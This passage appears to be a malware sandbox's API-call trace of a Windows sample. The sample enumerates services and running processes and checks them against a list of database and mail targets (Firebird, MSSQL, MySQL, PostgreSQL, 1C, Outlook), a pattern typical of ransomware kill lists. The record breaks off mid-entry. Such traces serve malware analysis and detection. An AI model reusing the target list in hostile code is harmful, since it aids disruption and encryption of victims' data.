(lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0190.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0190.822] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0190.822] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0190.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0190.822] lstrlenW (lpString="EventSystem") returned 11 [0190.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0190.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0190.823] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0190.823] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0190.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0190.823] lstrlenW (lpString="gpsvc") returned 5 [0190.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0190.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0190.823] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0190.823] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0190.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0190.823] lstrlenW (lpString="lmhosts") returned 7 [0190.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0190.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0190.824] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0190.824] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0190.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0190.824] lstrlenW (lpString="MMCSS") returned 5 [0190.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0190.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0190.824] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0190.824] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0190.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0190.825] lstrlenW (lpString="nsi") returned 3 [0190.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0190.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0190.825] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0190.825] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0190.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0190.825] lstrlenW (lpString="PlugPlay") returned 8 [0190.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0190.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0190.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0190.826] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0190.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0190.826] lstrlenW (lpString="Power") returned 5 [0190.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0190.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0190.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0190.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0190.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0190.826] lstrlenW (lpString="ProfSvc") returned 7 [0190.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0190.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0190.827] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0190.827] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0190.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0190.827] lstrlenW (lpString="RpcEptMapper") returned 12 [0190.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0190.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0190.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0190.827] lstrlenW (lpString="RpcSs") returned 5 [0190.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0190.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0190.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0190.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0190.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0190.828] lstrlenW (lpString="SamSs") returned 5 [0190.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0190.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0190.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0190.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0190.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0190.830] lstrlenW (lpString="Schedule") returned 8 [0190.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0190.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0190.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0190.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0190.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0190.832] lstrlenW (lpString="SENS") returned 4 [0190.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0190.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0190.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0190.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0190.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0190.832] lstrlenW (lpString="ShellHWDetection") returned 16 [0190.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.833] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0190.833] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0190.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0190.833] lstrlenW (lpString="Spooler") returned 7 [0190.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0190.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0190.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0190.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0190.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0190.833] lstrlenW (lpString="Themes") returned 6 [0190.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0190.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0190.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0190.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0190.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0190.834] lstrlenW (lpString="UxSms") returned 5 [0190.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0190.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0190.834] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0190.834] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0190.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0190.834] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c94a0 | out: hHeap=0x590000) returned 1 [0190.872] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0190.877] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.878] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.879] lstrlenW (lpString="System") returned 6 [0190.879] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0190.879] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0190.880] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0190.880] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0190.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0190.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0190.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0190.880] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.881] lstrlenW (lpString="smss.exe") returned 8 [0190.881] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0190.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0190.881] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0190.881] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0190.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0190.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0190.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0190.882] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.883] lstrlenW (lpString="csrss.exe") returned 9 [0190.883] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0190.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0190.883] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0190.883] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0190.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0190.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0190.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0190.883] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.884] lstrlenW (lpString="wininit.exe") returned 11 [0190.884] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0190.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0190.884] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0190.885] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0190.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0190.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0190.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0190.885] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.887] lstrlenW (lpString="csrss.exe") returned 9 [0190.887] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0190.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0190.887] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0190.887] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0190.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0190.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0190.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0190.887] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.888] lstrlenW (lpString="winlogon.exe") returned 12 [0190.888] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0190.888] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0190.888] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0190.888] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0190.888] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0190.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0190.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0190.889] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.890] lstrlenW (lpString="services.exe") returned 12 [0190.890] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0190.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0190.890] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0190.890] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0191.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0191.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0191.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0191.146] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.147] lstrlenW (lpString="lsass.exe") returned 9 [0191.147] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0191.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0191.147] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0191.147] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0191.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0191.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0191.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0191.148] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0191.149] lstrlenW (lpString="lsm.exe") returned 7 [0191.149] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0191.149] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0191.149] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0191.149] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0191.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0191.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0191.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0191.149] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.150] lstrlenW (lpString="svchost.exe") returned 11 [0191.150] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.150] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.151] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.151] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.152] lstrlenW (lpString="svchost.exe") returned 11 [0191.152] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.152] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.152] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.153] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.153] lstrlenW (lpString="svchost.exe") returned 11 [0191.153] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.154] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.154] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.154] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.155] lstrlenW (lpString="svchost.exe") returned 11 [0191.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.156] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.156] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.156] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.157] lstrlenW (lpString="svchost.exe") returned 11 [0191.157] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.157] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.158] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.158] lstrlenW (lpString="audiodg.exe") returned 11 [0191.158] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0191.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0191.158] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0191.159] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0191.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0191.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0191.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0191.159] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.160] lstrlenW (lpString="svchost.exe") returned 11 [0191.160] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.160] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.160] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.160] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.163] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0191.164] lstrlenW (lpString="userinit.exe") returned 12 [0191.165] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0191.165] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0191.165] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0191.165] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0191.165] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0191.165] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0191.165] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0191.165] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.166] lstrlenW (lpString="explorer.exe") returned 12 [0191.166] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0191.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0191.166] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0191.166] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0191.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0191.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0191.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0191.166] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.167] lstrlenW (lpString="dwm.exe") returned 7 [0191.168] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0191.168] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0191.168] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0191.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.169] lstrlenW (lpString="svchost.exe") returned 11 [0191.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, 